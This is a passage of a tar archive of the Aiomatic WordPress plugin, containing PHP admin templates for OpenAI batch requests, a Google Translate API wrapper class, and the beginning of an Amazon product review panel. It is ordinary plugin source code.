$aiomatic_batch->ID;?>" edit-id="<?php echo $aiomatic_batch->ID;?>"><?php echo esc_html__("Details", 'aiomatic-automatic-ai-content-writer');?></button> <?php if($status == 'validating' || $status == 'in_progress') { ?> <button class="button button-small button-link-delete aiomatic_cancel_batch" id="aiomatic_cancel_batch_<?php echo $aiomatic_batch->ID;?>" edit-id="<?php echo $aiomatic_batch->ID;?>"><?php echo esc_html__("Cancel", 'aiomatic-automatic-ai-content-writer');?></button> <?php } ?> </div> </td> </tr> <?php } } else { echo '<tr><td colspan="6">' . esc_html__("No AI Batch Requests added. You can add more using the 'Add New Batch Request' button from above.", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } ?> </tbody> </table> <?php if($aiomatic_batches->have_posts() && $aiomatic_batches->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_batch_panel&wpage=%#%'), 'total' => $aiomatic_batches->max_num_pages, 'current' => $aiomatic_batch_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> <br/></hr/><br/> </div> </div> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Add New AI Batch Request", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <form action="#" method="post" id="aiomatic_batches_form"> <br/> <input type="hidden" name="action" value="aiomatic_batches"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('aiomatic_batches');?>"> <h4><?php echo esc_html__("Input File*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a jsonl file of request inputs for the batch.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-batch-file" name="aiomatic-batch-file" class="aiomatic-full-size"> <?php if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { echo '<option disabled>' . esc_html__("Azure/Claude API is not currently supported for AI Batch Requests", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai) { echo '<option disabled>' . esc_html__("Missing API Setting", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $found = false; if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listFiles(array( 'purpose' => 'batch' )); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else { if(isset($result->data) && is_array($result->data) && count($result->data)) { foreach($result->data as $ind => $rd) { if($rd->purpose == 'batch') { echo '<option value="' . esc_attr($rd->id) . '">' . esc_html($rd->filename) . ' (' . esc_html($rd->id) . ')</option>'; $found = true; } } } } if($found == true) { echo '<option disabled>' . esc_html__("Please upload files in the 'Manage AI Batch Requests Files' tab to use this option", 'aiomatic-automatic-ai-content-writer') . '</option>'; } } } ?> </select> <br/> <h4><?php echo esc_html__("Completion Window*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The time frame within which the batch should be processed.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-completion-window" name="aiomatic-completion-window" class="aiomatic-full-size"> <option value="24h"><?php echo esc_html__("24 hours", 'aiomatic-automatic-ai-content-writer');?></option> </select> <br/> <h4><?php echo esc_html__("Endpoint*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The endpoint to be used for all requests in the batch.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <select autocomplete="off" id="aiomatic-endpoint" name="aiomatic-endpoint" class="aiomatic-full-size"> <option value="/v1/chat/completions">/v1/chat/completions</option> <option value="/v1/embeddings">/v1/embeddings</option> </select> <br/> <hr/> <button id="aiomatic-batch-save-button" class="button button-primary"><?php echo esc_html__("Add", 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-batch-success"></div> <br/> </form> </div> </div> </div> </div> <div id="mymodalfzr-edit" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close-edit" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("View AI Batch Request Details", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <div class="general-batch-holder"> <div id="batch-detail-page-aiomatic"> <div class="batch-css-holder"> <svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path d="M13 12a1 1 0 1 0-2 0v4a1 1 0 1 0 2 0v-4Zm-1-2.5A1.25 1.25 0 1 0 12 7a1.25 1.25 0 0 0 0 2.5Z"></path><path fill-rule="evenodd" d="M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z" clip-rule="evenodd"></path></svg>  <b class="batch-css-heading"><?php echo esc_html__("Batch Request ID", 'aiomatic-automatic-ai-content-writer');?></b> <br/> <span id="batch-id"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span> </div> <div class="batch-css-main"> <div class="batch-css-flex"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path d="M13 12a1 1 0 1 0-2 0v4a1 1 0 1 0 2 0v-4Zm-1-2.5A1.25 1.25 0 1 0 12 7a1.25 1.25 0 0 0 0 2.5Z"></path><path fill-rule="evenodd" d="M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z" clip-rule="evenodd"></path></svg>  <b class="batch-css-heading"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></b></div> <div class="batch-css-status"> <div class="batch-css-result"><svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor" viewBox="0 0 24 24" size="14" style="margin-top: 1px;"><path fill-rule="evenodd" d="M12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16ZM2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm14.076-4.068a1 1 0 0 1 .242 1.393l-4.75 6.75a1 1 0 0 1-1.558.098l-2.5-2.75a1 1 0 0 1 1.48-1.346l1.66 1.827 4.032-5.73a1 1 0 0 1 1.394-.242Z" clip-rule="evenodd"></path></svg>  <span id="batch-status"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?></span></div> </div> </div> <div class="batch-css-flex"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8-10C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2Zm1 5a1 1 0 1 0-2 0v4.586l-2.207 2.207a1 1 0 1 0 1.414 1.414l2.5-2.5A1 1 0 0 0 13 12V7Z" clip-rule="evenodd"></path></svg>  <b class="batch-css-heading"><?php echo esc_html__("Created at", 'aiomatic-automatic-ai-content-writer');?></b></div> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-created"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?></span></div></div> </div> <div class="batch-css-flex"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M12.945 1.17a1 1 0 0 1 .811 1.16l-.368 2.088a1 1 0 1 1-1.97-.347l.369-2.089a1 1 0 0 1 1.158-.811ZM5.85 2.73a1 1 0 0 1 1.393.246L8.39 4.614A1 1 0 1 1 6.751 5.76L5.604 4.123a1 1 0 0 1 .245-1.393Zm3.724 5.328a1 1 0 0 1 1.06-.06l10.244 5.646a1 1 0 0 1 .09 1.695l-1.749 1.225 1.139 1.654a1 1 0 0 1-.25 1.386l-3.282 2.298a1 1 0 0 1-1.393-.246l-1.147-1.638-1.634 1.144a1 1 0 0 1-1.56-.654L9.166 9.04a1 1 0 0 1 .408-.981Zm1.907 2.69 1.322 7.867 1.155-.809a1 1 0 0 1 1.393.246l1.147 1.638 1.65-1.155-1.139-1.655a1 1 0 0 1 .25-1.386l1.248-.873-7.026-3.873ZM1.957 8.865a1 1 0 0 1 1.159-.811l2.089.368a1 1 0 1 1-.348 1.97l-2.089-.369a1 1 0 0 1-.81-1.158Z" clip-rule="evenodd"></path></svg> <b class="batch-css-heading"> <?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer');?></b></div> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-endpoint"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> <div class="batch-css-flex"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M5 6a1 1 0 0 1 1 1v4a1 1 0 0 0 1 1h9.586l-2.293-2.293a1 1 0 0 1 1.414-1.414l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L16.586 14H7a3 3 0 0 1-3-3V7a1 1 0 0 1 1-1Z" clip-rule="evenodd"></path></svg> <b class="batch-css-heading"> <?php echo esc_html__("Finishing time", 'aiomatic-automatic-ai-content-writer');?></b></div> <div class="batch-css-status"><div class="batch-css-result"> <span id="batch-window"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> <div class="batch-css-flex"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M11.33 5a1 1 0 0 0-1 1v13h3.33V6a1 1 0 0 0-1-1h-1.33Zm4.33 14H18a1 1 0 0 0 1-1v-8a1 1 0 0 0-1-1h-2.34v10Zm0-12V6a3 3 0 0 0-3-3h-1.33a3 3 0 0 0-3 3v5H6a3 3 0 0 0-3 3v4a3 3 0 0 0 3 3h12a3 3 0 0 0 3-3v-8a3 3 0 0 0-3-3h-2.34Zm-7.33 6H6a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h2.33v-6Z" clip-rule="evenodd"></path></svg> <b class="batch-css-heading"> <?php echo esc_html__("Request counts", 'aiomatic-automatic-ai-content-writer');?></b></div> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-counts"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> <hr class="css-1wozfos"> <div class="batch-css-files"> <div class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M7 2a3 3 0 0 0-3 3v14a3 3 0 0 0 3 3h10a3 3 0 0 0 3-3V8.828a3 3 0 0 0-.879-2.12l-3.828-3.83A3 3 0 0 0 13.172 2H7Zm5 2H7a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-9h-3a3 3 0 0 1-3-3V4Zm5.586 4H15a1 1 0 0 1-1-1V4.414L17.586 8Z" clip-rule="evenodd"></path></svg> <b class="batch-css-heading"> <?php echo esc_html__("Files", 'aiomatic-automatic-ai-content-writer');?></b> </div> <div class="batch-css-flex"> <b class="batch-css-heading"><?php echo esc_html__("Input", 'aiomatic-automatic-ai-content-writer');?></b> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-input-file"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> </div> <div class="batch-css-files"> <div class="batch-css-flex"> <b class="batch-css-heading"><?php echo esc_html__("Output", 'aiomatic-automatic-ai-content-writer');?></b> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-output-file"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> </div> <div class="batch-css-files"> <div class="batch-css-flex"> <b class="batch-css-heading"><?php echo esc_html__("Error", 'aiomatic-automatic-ai-content-writer');?></b> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-error-file"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> </div> <hr class="css-1wozfos"> <div class="batch-css-files"> <b class="batch-css-heading"><svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" size="12"><path fill-rule="evenodd" d="M4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8-10C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2Zm1 5a1 1 0 1 0-2 0v4.586l-2.207 2.207a1 1 0 1 0 1.414 1.414l2.5-2.5A1 1 0 0 0 13 12V7Z" clip-rule="evenodd"></path></svg>  <?php echo esc_html__("Batch Timeline", 'aiomatic-automatic-ai-content-writer');?></b> <div class="batch-css-status"><div class="batch-css-result"><span id="batch-timeline-wrapper"><?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </span></div></div> </div> <div> <span id="batch-failed-report"></span> </div> </div> </div> </div> <div class="aiomatic-batch-success"></div> <br/> </div> </div> </div> </div> <div id="mymodalfzr-parse" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close-parse" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Parse Batch Results", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <div class="general-parsing-batch-holder"> <div id="batch-parsing-detail-page-aiomatic"> <div id="aiomatic-batch-result-parsed" class="aiomatic-batch-result-parsed"> <?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </div> </div> </div> <div class="aiomatic-batch-success"></div> <br/> </div> </div> </div> </div> </div> <?php } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/translator-api.php������������������������������������������������������������������������������0000644�����������������00000004762�14757771437�0011045 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class GoogleTranslatorAPI{ public $ch; public $apikey; function __construct(&$ch, $apikey){ $this->ch = $ch; $this->apikey = $apikey; } function translateText($sourceText, $fromLanguage ,$toLanguage){ preg_match_all ( '{\[\d*\]}', $sourceText, $all_protected_matchs ); $all_protected_matchs = $all_protected_matchs [0]; $string_raw = preg_replace ( '{\[\d*\]}', '(*)', $sourceText ); curl_setopt($this->ch, CURLOPT_URL, "https://www.googleapis.com/language/translate/v2?key=" . $this->apikey); curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($this->ch, CURLOPT_POST, true ); curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($this->ch, CURLOPT_TIMEOUT, 60); $post = [ 'q' => $string_raw, 'target' => $toLanguage, ]; if($fromLanguage != 'auto') { $post['source'] = $fromLanguage; } curl_setopt ( $this->ch, CURLOPT_POSTFIELDS, $post ); $headers = array(); $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $headers[] = "Accept-Language: en-US,en;q=0.5"; $headers[] = "Referer: https://translate.google.com/?tr=f&hl=en"; $headers[] = "Connection: keep-alive"; $headers[] = "Upgrade-Insecure-Requests: 1"; curl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers); $exec = curl_exec($this->ch); $httpcode = curl_getinfo($this->ch, CURLINFO_HTTP_CODE); if($httpcode != '200') { throw new Exception('Failed to translate string, incorrect response ' . $httpcode . ' - ' . $exec); } if($exec === FALSE || trim($exec) == ''){ throw new Exception('Empty translator reply with possible curl error'); } if(strstr($exec, 'Error 400 (Bad Request)!!1') !== false){ throw new Exception('Failed to translate string!'); } $jsonx = json_decode($exec); if(isset($jsonx->data->translations) && is_array($jsonx->data->translations)) { $retex = ''; foreach($jsonx->data->translations as $trx) { $retex .= $trx->translatedText; } $exec = $retex; } else { throw new Exception('Failed to decode translation response: ' . $exec); } foreach ( $all_protected_matchs as $protected_term ) { $exec = preg_replace ( '{\(\*\)}', $protected_term, $exec, 1 ); } return $exec ; } } ?>��������������res/aiomatic-review-list.php������������������������������������������������������������������������0000644�����������������00001512764�14757771437�0012152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_review_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_rules = get_option('aiomatic_review_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("Amazon Product Reviews", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("Single Product ASIN or Keyword", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR). To create multiple product review posts, add a different ASIN, each on a new line.", 'aiomatic-automatic-ai-content-writer'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $amaz_ext_active = false; if 